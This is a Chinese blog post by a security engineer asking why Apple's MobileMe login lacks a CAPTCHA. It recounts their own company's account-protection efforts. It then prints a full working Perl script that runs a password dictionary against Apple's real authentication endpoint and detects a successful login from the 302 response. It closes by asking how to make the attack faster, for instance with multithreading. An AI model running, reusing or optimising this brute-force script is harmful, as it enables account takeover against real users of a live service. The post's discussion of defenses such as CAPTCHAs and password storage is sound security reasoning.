碳基体

奋斗在产品安全第一线的安全妹子

苹果mobileMe登录口为什么没有验证码

公司在帐号安全这方面真是命运多舛,曾经发现过批量盗号的事件,后来公司重视了,上线了一系列的加固方案。


首先是在web注册页面和flash游戏登录口增加弱口令检测功能,不让注册低强度口令;


其次是上线了验证码机制,该措施也改版了好几次,因为出了不少目前看来很白痴的错误,先是验证码由客户端生成(的确很傻),然后是判断逻辑可以绕过(只要输入正确的帐号口令,就不出现验证码)。。。等等


然后是更换口令存储的加密算法(包括数据库存储,本地存储,各种查询平台也不明文显示密码了),都是被去年下半年屡屡发生的拖库事件吓的;


最后是安全意识的宣传,在校巴里苦口婆心的跟小朋友们说教,不要把自己的密码告诉怪阿姨怪蜀黍,不要相信各种神奇的充值外挂。。。效果怎样,其实也不好说。


其实我知道,这种程度的安全加固简直太脆弱了(我们连ssl都没有,说是太贵了)。


产品和开发总有各种理由来推托上各种措施,理由是未发生就是安全的,这次就有产品用大公司都没用验证码也没出现帐号被盗的情况来反驳上线验证码,look


 

 

意思是,苹果和msn在没有验证码的情况下都没发生过批量盗号事件,于是我们也不要上线这个功能


记得王小波说过,”人的一切痛苦,本质上都是对自己的无能的愤怒。“ 


顿时觉得自己是蛮无能的,我是打心底觉得苹果目前的措施是不安全的(简单写了个批量跑帐号的脚本试验了下,理论上可以暴力破解,


只要字典够强悍),但怎么就没有新闻披露苹果被批量盗号了。他们是怎么保障安全的呢?


我哪个地方弄错了呢, 希望各位大牛们来指点一下迷津,感谢了!






---------------------------------------------------------------------------------------------------------------------脚本正文crackmobilelogin.pl


#!/usr/bin/perl


#format :    crackmobilelogin.pl xxxx@xxx.com(邮箱账户) /xxx/xxx/xx.dic(字典存放路径)


use LWP::UserAgent;

use HTTP::Request::Common qw(POST);



sub try_login{


my($user, $passdic) = @_;

my $okflag = 0;

my $UA = LWP::UserAgent->new(ssl_opts => {verify_hostname => 1});

my $page="https://auth.me.com/authenticate";


open FH, "<$passdic";

while(<FH>){

chomp ($_);

my $pwd = $_;

print "Now try ".$user."  : ".$pwd. "\n";

$req = HTTP::Request::Common::POST("$page",

Content_Type=>'application/x-www-form-urlencoded',

Content=>[ service => 'findmyiphone',

           serviceInput => 'mail',

           ssoNamespace => 'appleid',

           returnURL => 'aHR0cHM6Ly93d3cubWUuY29tL21haWwv',

           cancelURL => 'http://www.me.com/mail',

           mailstatus => '',

           ssoOpaqueToken => '',

           ownerPrsId =>'',

           formID => 'loginForm',

           username => $user,

           password => $pwd ,

           ]

);

$resp = $UA->request($req);

$key=$resp->code;   #response code

if($key == 302){

$okflag = 1;

print $user. " : ".$pwd. " login success !!! \n";


last;

}else{

print " login failed ! \n \n";

}


}

close FH;


if($okflag == 0){

print "\n". "Login failed with $user and dicfile $passdic \n";

}

return 1;

}


$user=$ARGV[0];

$passdic=$ARGV[1];


try_login($user,$passdic);


----------------------------------------------------------------------------------------------------------------------------------------------

注:脚本有个很大的问题,每一次登录尝试都好慢哦,是什么原因,怎么才能优化呢?

我猜想脚本慢主要是因为

1. 脚本写的臭,没有多线程

2.可能是外国服务器,响应慢(手动登录也会慢)

来源:碳基体

评论